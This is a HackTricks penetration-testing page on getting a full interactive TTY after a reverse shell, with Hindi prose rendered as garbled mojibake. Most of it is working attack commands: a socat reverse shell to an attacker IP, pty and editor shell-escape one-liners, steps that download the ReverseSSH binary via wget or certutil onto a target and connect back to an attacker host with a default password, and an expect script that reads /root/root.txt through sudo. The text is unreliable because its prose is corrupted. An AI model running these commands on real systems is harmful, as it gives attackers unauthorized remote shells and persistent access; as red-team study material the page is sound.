Full TTYs

Reading time: 5 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Full TTY

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ SHELL рд╡реЗрд░рд┐рдПрдмрд▓ рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╢реЗрд▓ рдЬрд╝рд░реВрд░ /etc/shells рдХреЗ рдЕрдВрджрд░ рд╕реВрдЪреАрдмрджреНрдз рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╛ The value for the SHELL variable was not found in the /etc/shells file This incident has been reportedред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдЧрд▓реЗ рд╕реНрдирд┐рдкреНрдкреЗрдЯ рдХреЗрд╡рд▓ bash рдореЗрдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рдЖрдк zsh рдореЗрдВ рд╣реИрдВ, рддреЛ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ bash рдЪрд▓рд╛рдХрд░ bash рдореЗрдВ рдмрджрд▓реЗрдВред

Python

bash
python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

note

рдЖрдк stty -a рдЪрд▓рд╛рдХрд░ рдкрдВрдХреНрддрд┐рдпреЛрдВ рдФрд░ рд╕реНрддрдВрднреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

script

bash
script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

bash
#Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

рд╢реЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд╢реЗрд▓ рдПрдХреНрд╕реЗрд╕, рд╕рд╛рде рд╣реА рдлрд╛рдЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдФрд░ рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рддрд░реАрдХрд╛ рд╣реИ рд▓рдХреНрд╖рд┐рдд рдкрд░ рд╕реНрдерд┐рд░-рд▓рд┐рдВрдХреНрдб ssh рд╕рд░реНрд╡рд░ ReverseSSH рдХреЛ рдбрд╛рд▓рдирд╛ред

рдиреАрдЪреЗ x86 рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬрд┐рд╕рдореЗрдВ upx-рд╕рдВрдкреАрдбрд╝рд┐рдд рдмрд╛рдЗрдирд░реА рд╣реИрдВред рдЕрдиреНрдп рдмрд╛рдЗрдирд░реА рдХреЗ рд▓рд┐рдП, рд░рд┐рд▓реАрдЬрд╝ рдкреГрд╖реНрда рджреЗрдЦреЗрдВред

  1. ssh рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЕрдиреБрд░реЛрдз рдХреЛ рдкрдХрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд░реЗрдВ:
bash
# Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444
  • (2a) рд▓рд┐рдирдХреНрд╕ рд▓рдХреНрд╖реНрдп:
bash
# Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
bash
# Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2
  • рдпрджрд┐ ReverseSSH рдкреЛрд░реНрдЯ рдлреЙрд░рд╡рд░реНрдбрд┐рдВрдЧ рдЕрдиреБрд░реЛрдз рд╕рдлрд▓ рд░рд╣рд╛, рддреЛ рдЖрдк рдЕрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрд╛рд╕рд╡рд░реНрдб letmeinbrudipls рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ reverse-ssh(.exe) рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ:
bash
# Interactive shell access ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1

Penelope

Penelope рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ Linux рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХреЛ TTY рдореЗрдВ рдЕрдкрдЧреНрд░реЗрдб рдХрд░рддрд╛ рд╣реИ, рдЯрд░реНрдорд┐рдирд▓ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, рд╕рдм рдХреБрдЫ рд▓реЙрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдмрд╣реБрдд рдХреБрдЫред рдпрд╣ Windows рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП readline рд╕рдорд░реНрдерди рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

penelope

No TTY

рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЖрдк рдкреВрд░реНрдг TTY рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдлрд┐рд░ рднреА рдЙрди рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ sudo рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

bash
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ